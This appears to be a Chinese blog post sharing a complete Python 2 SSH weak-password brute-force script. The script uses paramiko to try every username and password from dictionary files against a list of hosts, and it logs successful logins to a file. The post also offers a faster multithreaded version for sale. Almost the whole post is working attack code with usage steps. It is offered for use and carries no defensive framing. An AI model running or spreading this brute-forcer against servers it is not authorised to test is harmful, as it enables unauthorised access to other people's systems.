上班闲着的时候,写了个SSH弱口令扫描脚本,单线程版本。
多线程版本自己用。
若需要多线程版本可以私下联系,仅售五毛钱。
本脚本需要paramiko扩展。
使用前按paramiko安装教程先安装好环境。
使用说明:
同目录下有三个txt文件,
1,hosts.txt IP文件,格式: IP:端口 一行一个,端口为空时,默认22
2,password.txt 密码字典,一行一个
3,username.txt 用户名字典,一行一个
执行此py脚本后,如有成功登陆,则会生成一个success.txt文件。
下面帖代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
#!/usr/bin/python #coding=utf-8 import paramiko,thread,time def login(host,username,password,port=22): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(host, port, username, password) return True except Exception: return False tmp = [] hosts = open("./hosts.txt").read().split("\n") for host in hosts: if host.strip() == '': continue host = host.split(":") if len(host) < 1 : continue elif len(host) == 1 : host.append(22) else: host[1] = int(host[1]) tmp.append(host) hosts = tmp tmp = [] usernames = open("./username.txt").read().split("\n") for username in usernames: if username.strip() == '': continue tmp.append(username) usernames = tmp tmp = [] passwords = open("./password.txt").read().split("\n") for password in passwords: password = password.strip() tmp.append(password) passwords = tmp print "Simple SSH Scaner Ver:p1.0" print "Author phpbug" print "http://www.phpbug.cn" time.sleep(3) for host in hosts : for username in usernames: for password in passwords: if login(host[0],username, password,host[1]) : print "Success:"+host[0]+":"+str(host[1])+"\t"+username+"\t"+password success = open("success.txt","a") success.write(host[0]+":"+str(host[1])+"\t"+username+"\t"+password) success.close() else: print "Failed:"+host[0]+":"+str(host[1])+"\t"+username+"\t"+password |
压缩包下载:ssh_scaner